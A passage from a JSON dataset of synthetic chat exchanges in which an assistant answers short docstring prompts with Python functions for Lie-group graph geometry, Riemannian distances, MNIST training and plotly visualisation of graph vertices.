dimensions..", "conversation_id": 963, "message_id": 1 }, { "role": "assistant", "content": "def group_dim(self):\n return [\"x\", \"y\", \"theta\"]", "conversation_id": 963, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 964, "message_id": 0 }, { "role": "user", "content": "Return the cartesian positions of the graph's vertices..", "conversation_id": 964, "message_id": 1 }, { "role": "assistant", "content": "def cartesian_pos(self, axis=None):\n if axis is None:\n return self.vertex_x, self.vertex_y, self.vertex_theta\n if axis == \"x\":\n return self.vertex_x\n if axis == \"y\":\n return self.vertex_y\n if axis == \"z\":\n return self.vertex_theta", "conversation_id": 964, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 965, "message_id": 0 }, { "role": "user", "content": "Returns the graph's vertices attributes..", "conversation_id": 965, "message_id": 1 }, { "role": "assistant", "content": "def vertex_attributes(self):\n return (\"vertex_x\", \"vertex_y\", \"vertex_theta\")", "conversation_id": 965, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 966, "message_id": 0 }, { "role": "user", "content": "Return the riemannian squared distance between GL(3) group elements Gg and Gh according to the\nriemannian metric Re..", "conversation_id": 966, "message_id": 1 }, { "role": "assistant", "content": "def riemannian_sqdist(self, Gg, Gh, Re):\n return r2_riemannian_sqdist(Gg, Gh, Re)", "conversation_id": 966, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 967, "message_id": 0 }, { "role": "user", "content": "Return the group elements of graph's vertices..", "conversation_id": 967, "message_id": 1 }, { "role": "assistant", "content": "def group_element(self):\n return self.vertex_x, self.vertex_y", "conversation_id": 967, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 968, "message_id": 0 }, { "role": "user", "content": "Return the general linear group elements of graph's vertices..", "conversation_id": 968, "message_id": 1 }, { "role": "assistant", "content": "def general_linear_group_element(self):\n return r2_matrix(self.vertex_x, self.vertex_y)", "conversation_id": 968, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 969, "message_id": 0 }, { "role": "user", "content": "Return the name of the group's dimensions..", "conversation_id": 969, "message_id": 1 }, { "role": "assistant", "content": "def group_dim(self):\n return [\"x\", \"y\"]", "conversation_id": 969, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 970, "message_id": 0 }, { "role": "user", "content": "Return the cartesian positions of the graph's vertices..", "conversation_id": 970, "message_id": 1 }, { "role": "assistant", "content": "def cartesian_pos(self, axis=None):\n if axis is None:\n return self.vertex_x, self.vertex_y, torch.zeros(self.num_vertices)\n if axis == \"x\":\n return self.vertex_x\n if axis == \"y\":\n return self.vertex_y\n if axis == \"z\":\n return torch.zeros(self.num_vertices)", "conversation_id": 970, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 971, "message_id": 0 }, { "role": "user", "content": "Returns the graph's vertices attributes..", "conversation_id": 971, "message_id": 1 }, { "role": "assistant", "content": "def vertex_attributes(self):\n return (\"vertex_x\", \"vertex_y\")", "conversation_id": 971, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 972, "message_id": 0 }, { "role": "user", "content": "Return the riemannian squared distance between GL(3) group elements Gg and Gh according to the\nriemannian metric Re..", "conversation_id": 972, "message_id": 1 }, { "role": "assistant", "content": "def riemannian_sqdist(self, Gg, Gh, Re):\n return so3_riemannian_sqdist(Gg, Gh, Re)", "conversation_id": 972, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 973, "message_id": 0 }, { "role": "user", "content": "Return the group elements of graph's vertices..", "conversation_id": 973, "message_id": 1 }, { "role": "assistant", "content": "def group_element(self):\n return self.vertex_alpha, self.vertex_beta, self.vertex_gamma", "conversation_id": 973, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 974, "message_id": 0 }, { "role": "user", "content": "Return the general linear group elements of graph's vertices..", "conversation_id": 974, "message_id": 1 }, { "role": "assistant", "content": "def general_linear_group_element(self):\n return so3_matrix(self.vertex_alpha, self.vertex_beta, self.vertex_gamma)", "conversation_id": 974, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 975, "message_id": 0 }, { "role": "user", "content": "Return the name of the group's dimensions..", "conversation_id": 975, "message_id": 1 }, { "role": "assistant", "content": "def group_dim(self):\n return [\"alpha\", \"beta\", \"gamma\"]", "conversation_id": 975, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 976, "message_id": 0 }, { "role": "user", "content": "Return the cartesian positions of the graph's vertices..", "conversation_id": 976, "message_id": 1 }, { "role": "assistant", "content": "def cartesian_pos(self, axis=None):\n if not axis is None:\n return (2 * math.pi + self.vertex_alpha) * betagamma2xyz(self.vertex_beta, self.vertex_gamma, axis)\n x, y, z = betagamma2xyz(self.vertex_beta, self.vertex_gamma, axis)\n x *= 2 * math.pi + self.vertex_alpha\n y *= 2 * math.pi + self.vertex_alpha\n z *= 2 * math.pi + self.vertex_alpha\n return x, y, z", "conversation_id": 976, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 977, "message_id": 0 }, { "role": "user", "content": "Returns the graph's vertices attributes..", "conversation_id": 977, "message_id": 1 }, { "role": "assistant", "content": "def vertex_attributes(self):\n return (\"vertex_alpha\", \"vertex_beta\", \"vertex_gamma\")", "conversation_id": 977, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 978, "message_id": 0 }, { "role": "user", "content": "Return the riemannian squared distance between GL(3) group elements Gg and Gh according to the\nriemannian metric Re..", "conversation_id": 978, "message_id": 1 }, { "role": "assistant", "content": "def riemannian_sqdist(self, Gg, Gh, Re):\n return s2_riemannian_sqdist(Gg, Gh, Re)", "conversation_id": 978, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 979, "message_id": 0 }, { "role": "user", "content": "Return the group elements of graph's vertices..", "conversation_id": 979, "message_id": 1 }, { "role": "assistant", "content": "def group_element(self):\n return self.vertex_beta, self.vertex_gamma", "conversation_id": 979, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 980, "message_id": 0 }, { "role": "user", "content": "Return the general linear group elements of graph's vertices..", "conversation_id": 980, "message_id": 1 }, { "role": "assistant", "content": "def general_linear_group_element(self):\n return s2_matrix(self.vertex_beta, self.vertex_gamma)", "conversation_id": 980, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 981, "message_id": 0 }, { "role": "user", "content": "Return the name of the group's dimensions..", "conversation_id": 981, "message_id": 1 }, { "role": "assistant", "content": "def group_dim(self):\n return [\"beta\", \"gamma\"]", "conversation_id": 981, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 982, "message_id": 0 }, { "role": "user", "content": "Return the cartesian positions of the graph's vertices..", "conversation_id": 982, "message_id": 1 }, { "role": "assistant", "content": "def cartesian_pos(self, axis=None):\n return betagamma2xyz(self.vertex_beta, self.vertex_gamma, axis)", "conversation_id": 982, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 983, "message_id": 0 }, { "role": "user", "content": "Returns the graph's vertices attributes..", "conversation_id": 983, "message_id": 1 }, { "role": "assistant", "content": "def vertex_attributes(self):\n return (\"vertex_beta\", \"vertex_gamma\")", "conversation_id": 983, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 984, "message_id": 0 }, { "role": "user", "content": "Returns a new tensor corresponding to matrix formulation of the given input tensors representing\nR(2) group elements..", "conversation_id": 984, "message_id": 1 }, { "role": "assistant", "content": "def r2_matrix(x, y, device=None):\n G = torch.zeros((x.nelement(), 3, 3), device=device)\n G[..., 0, 2] = x\n G[..., 1, 2] = y\n G[..., 0, 0] = 1.0\n G[..., 1, 1] = 1.0\n G[..., 2, 2] = 1.0\n return G", "conversation_id": 984, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 985, "message_id": 0 }, { "role": "user", "content": "Returns a new tensor corresponding to matrix formulation of the given input tensors representing\nSE(2) group elements..", "conversation_id": 985, "message_id": 1 }, { "role": "assistant", "content": "def se2_matrix(x, y, theta, device=None):\n G = rotation_matrix(theta, \"z\", device=device)\n G[:, 0, 2] = x\n G[:, 1, 2] = y\n return G", "conversation_id": 985, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 986, "message_id": 0 }, { "role": "user", "content": "Returns a new tensor corresponding to the inverse of the group elements in matrix formulation..", "conversation_id": 986, "message_id": 1 }, { "role": "assistant", "content": "def r2_inverse(G):\n return torch.inverse(G)", "conversation_id": 986, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 987, "message_id": 0 }, { "role": "user", "content": "Returns a new tensor corresponding to the inverse of the group elements in matrix formulation..", "conversation_id": 987, "message_id": 1 }, { "role": "assistant", "content": "def se2_inverse(G):\n return torch.inverse(G)", "conversation_id": 987, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 988, "message_id": 0 }, { "role": "user", "content": "Returns three new tensors corresponding to x, y and theta attributes of the group elements specified by the\nse2 group elements in matrix formulation..", "conversation_id": 988, "message_id": 1 }, { "role": "assistant", "content": "def se2_element(G):\n return G[..., 0, 2], G[..., 1, 2], torch.atan2(G[..., 1, 0], G[..., 0, 0])", "conversation_id": 988, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 989, "message_id": 0 }, { "role": "user", "content": "Returns a new tensor containing the riemannnian logarithm of the group elements in matrix formulation..", "conversation_id": 989, "message_id": 1 }, { "role": "assistant", "content": "def r2_log(G):\n x, y = r2_element(G)\n c1 = x\n c2 = y\n c3 = torch.zeros_like(c1)\n c = torch.stack((c1, c2, c3), dim=-1).unsqueeze(2)\n return c", "conversation_id": 989, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 990, "message_id": 0 }, { "role": "user", "content": "Returns a new tensor containing the riemannnian logarithm of the group elements in matrix formulation..", "conversation_id": 990, "message_id": 1 }, { "role": "assistant", "content": "def se2_log(G):\n x, y, theta = se2_element(G)\n c1 = theta / 2 * (y + x * torch.cos(theta / 2) / torch.sin(theta / 2))\n c2 = -theta / 2 * (x + y * torch.cos(theta / 2) / torch.sin(theta / 2))\n c3 = theta.clone()\n mask = theta == 0.0\n c1[mask] = x[mask]\n c2[mask] = y[mask]\n c = torch.stack((c1, c2, c3), dim=-1).unsqueeze(2)\n return c", "conversation_id": 990, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 991, "message_id": 0 }, { "role": "user", "content": "Return the squared riemannian distances between group elements in matrix formulation..", "conversation_id": 991, "message_id": 1 }, { "role": "assistant", "content": "def r2_riemannian_sqdist(Gg, Gh, Re):\n G = torch.matmul(r2_inverse(Gg), Gh)\n return weighted_norm(r2_log(G), Re)", "conversation_id": 991, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 992, "message_id": 0 }, { "role": "user", "content": "Returns the squared riemannian distances between group elements in matrix formulation..", "conversation_id": 992, "message_id": 1 }, { "role": "assistant", "content": "def se2_riemannian_sqdist(Gg, Gh, Re):\n G = torch.matmul(se2_inverse(Gg), Gh)\n x, y, theta = se2_element(G)\n sqdist1 = weighted_norm(se2_log(se2_matrix(x, y, theta)), Re)\n sqdist2 = weighted_norm(se2_log(se2_matrix(x, y, theta - math.pi)), Re)\n sqdist3 = weighted_norm(se2_log(se2_matrix(x, y, theta + math.pi)), Re)\n sqdist, _ = torch.stack((sqdist1, sqdist2, sqdist3)).min(dim=0)\n return sqdist", "conversation_id": 992, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 993, "message_id": 0 }, { "role": "user", "content": "Trains a model on MNIST and evaluates its performance on MNIST, Flip-MNIST and 90Rot-MNIST..", "conversation_id": 993, "message_id": 1 }, { "role": "assistant", "content": "def train(config=None):\n with wandb.init(config=config, project=\"cheblienet\"):\n config = wandb.config\n wandb.log({\"dataset\": \"mnist\"})\n wandb.log(vars(args))\n device = torch.device(\"cuda\" if torch.cuda.is_available() and args.cuda else \"cpu\")\n if args.anisotropic:\n graph = SE2GEGraph(\n [28, 28, config.ntheta],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi),\n path_to_graph=args.path_to_graph,\n )\n else:\n graph = R2GEGraph(\n [28, 28, config.ntheta],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi),\n path_to_graph=args.path_to_graph,\n )\n sub_graph = RandomSubGraph(graph)\n model = WideResSE2GEChebNet(\n in_channels=1,\n out_channels=10,\n kernel_size=config.kernel_size,\n graph_lvl0=sub_graph,\n res_depth=args.res_depth,\n widen_factor=args.widen_factor,\n ).to(device)\n wandb.log({\"capacity\": capacity(model)})\n optimizer = Adam(model.parameters(), lr=args.lr)\n train_loader, _ = get_train_val_loaders(\n \"mnist\",\n num_layers=config.ntheta,\n batch_size=args.batch_size,\n val_ratio=0.0,\n path_to_data=args.path_to_data,\n )\n (classic_test_loader, rotated_test_loader, flipped_test_loader,) = get_equiv_test_loaders(\n \"mnist\", num_layers=config.ntheta, batch_size=args.batch_size, path_to_data=args.path_to_data\n )\n trainer = create_supervised_trainer(\n graph=sub_graph,\n model=model,\n optimizer=optimizer,\n loss_fn=nll_loss,\n device=device,\n prepare_batch=prepare_batch,\n )\n ProgressBar(persist=False, desc=\"Training\").attach(trainer)\n classic_metrics = {\"classic_test_accuracy\": Accuracy(), \"classic_test_loss\": Loss(nll_loss)}\n rotated_metrics = {\"rotated_test_accuracy\": Accuracy(), \"rotated_test_loss\": Loss(nll_loss)}\n flipped_metrics = {\"flipped_test_accuracy\": Accuracy(), \"flipped_test_loss\": Loss(nll_loss)}\n classic_evaluator = create_supervised_evaluator(\n graph=sub_graph,\n model=model,\n metrics=classic_metrics,\n device=device,\n prepare_batch=prepare_batch,\n )\n ProgressBar(persist=False, desc=\"Evaluation\").attach(classic_evaluator)\n rotated_evaluator = create_supervised_evaluator(\n graph=sub_graph,\n model=model,\n metrics=rotated_metrics,\n device=device,\n prepare_batch=prepare_batch,\n )\n ProgressBar(persist=False, desc=\"Evaluation\").attach(rotated_evaluator)\n flipped_evaluator = create_supervised_evaluator(\n graph=sub_graph,\n model=model,\n metrics=flipped_metrics,\n device=device,\n prepare_batch=prepare_batch,\n )\n ProgressBar(persist=False, desc=\"Evaluation\").attach(flipped_evaluator)\n if args.sample_edges or args.sample_vertices:\n trainer.add_event_handler(\n Events.ITERATION_STARTED,\n sub_graph.reinit,\n )\n trainer.add_event_handler(\n Events.EPOCH_COMPLETED,\n sub_graph.reinit,\n )\n if args.sample_vertices:\n trainer.add_event_handler(\n Events.ITERATION_STARTED,\n sub_graph.vertices_sampling,\n args.vertices_rate,\n )\n if args.sample_edges:\n trainer.add_event_handler(\n Events.ITERATION_STARTED,\n sub_graph.edges_sampling,\n args.edges_rate,\n )\n if args.save_models:\n gst = lambda *_: trainer.state.epoch\n handler = Checkpoint(\n {\"model\": model}, DiskSaver(args.path_to_model, create_dir=True), n_saved=5, global_step_transform=gst\n )\n trainer.add_event_handler(Events.EPOCH_COMPLETED, handler)\n trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, classic_evaluator, classic_test_loader)\n trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, rotated_evaluator, rotated_test_loader)\n trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, flipped_evaluator, flipped_test_loader)\n trainer.run(train_loader, max_epochs=args.max_epochs)", "conversation_id": 993, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 994, "message_id": 0 }, { "role": "user", "content": "Visualize graph's vertices..", "conversation_id": 994, "message_id": 1 }, { "role": "assistant", "content": "def visualize_graph(graph):\n df = pd.DataFrame({\"vertex_index\": graph.vertex_index})\n df[\"X\"], df[\"Y\"], df[\"Z\"] = graph.cartesian_pos()\n for attr in graph.vertex_attributes:\n df[attr] = getattr(graph, attr)\n fig = px.scatter_3d(df, x=\"X\", y=\"Y\", z=\"Z\", hover_data=list(graph.vertex_attributes) + [\"vertex_index\"])\n fig.update_traces(\n marker={\"size\": 5, \"color\": \"crimson\", \"line\": {\"width\": 2, \"color\": \"DarkSlateGrey\"}, \"opacity\": 1.0},\n )\n fig.update_layout(width=500, height=500, margin={\"l\": 0, \"r\": 0, \"t\": 0, \"b\": 0})\n fig.show()", "conversation_id": 994, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 995, "message_id": 0 }, { "role": "user", "content": "Visualize a signal on the graph's vertices..", "conversation_id": 995, "message_id": 1 }, { "role": "assistant", "content": "def visualize_graph_signal(graph, signal):\n df = pd.DataFrame({\"vertex_index\": graph.vertex_index})\n df[\"X\"], df[\"Y\"], df[\"Z\"] = graph.cartesian_pos()\n df[\"signal\"] = signal\n for attr in graph.vertex_attributes:\n df[attr] = getattr(graph, attr)\n fig = px.scatter_3d(\n df,\n x=\"X\",\n y=\"Y\",\n z=\"Z\",\n color=\"signal\",\n hover_data=list(graph.vertex_attributes) + [\"signal\", \"vertex_index\"],\n color_continuous_scale=\"PiYG\",\n color_continuous_midpoint=0.0,\n )\n fig.update_traces(\n marker={\"size\": 5, \"opacity\": 1.0},\n )\n fig.update_layout(\n width=600,\n height=500,\n margin=dict(l=0, r=0, t=0, b=50),\n )\n fig.show()", "conversation_id": 995, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 996, "message_id": 0 }, { "role": "user", "content": "Visualize graph neighborhood of the given vertex..", "conversation_id": 996, "message_id": 1 }, { "role": "assistant", "content": "def visualize_graph_neighborhood(graph, vertex_index):\n df1 = pd.DataFrame()\n df1[\"vertex_index\"], df1[\"weight\"], df1[\"sqdist\"] = graph.neighborhood(vertex_index)\n df2 = pd.DataFrame({\"vertex_index\": graph.vertex_index})\n df2[\"X\"], df2[\"Y\"], df2[\"Z\"] = graph.cartesian_pos()\n for attr in graph.vertex_attributes:\n df2[attr] = getattr(graph, attr)\n df = pd.merge(df1, df2, on=\"vertex_index\", how=\"right\")\n df.weight.fillna(0.0, inplace=True)\n fig = px.scatter_3d(\n df,\n x=\"X\",\n y=\"Y\",\n z=\"Z\",\n color=\"weight\",\n hover_data=list(graph.vertex_attributes) + [\"weight\", \"sqdist\", \"vertex_index\"],\n color_continuous_scale=\"PuRd\",\n range_color=[0, 1],\n )\n fig.update_traces(\n marker={\"size\": 5, \"opacity\": 1.0},\n )\n fig.update_layout(width=600, height=500, margin={\"l\": 0, \"r\": 0, \"t\": 0, \"b\": 0})\n fig.show()", "conversation_id": 996, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 997, "message_id": 0 }, { "role": "user", "content": "Returns a new tensor whose elements corresepond to the modulo with offset of the elements of the input..", "conversation_id": 997, "message_id": 1 }, { "role": "assistant", "content": "def mod(input, n, d=0.0):\n return (input - d) % n + d", "conversation_id": 997, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 998, "message_id": 0 }, { "role": "user", "content": "Returns a new tensor whose elements correspond to the sinus cardinal of the elements of the input..", "conversation_id": 998, "message_id": 1 }, { "role": "assistant", "content": "def sinc(input):\n output = torch.sin(input) / input\n output[input == 0.0] = 1.0\n return output", "conversation_id": 998, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 999, "message_id": 0 }, { "role": "user", "content": "Returns a new tensor with the rounded to n decimal places version of the elements of the input..", "conversation_id": 999, "message_id": 1 }, { "role": "assistant", "content": "def round(input, n_digits=0):\n return torch.round(input * 10 ** n_digits) / (10 ** n_digits)", "conversation_id": 999, "message_id": 2 } ] } ]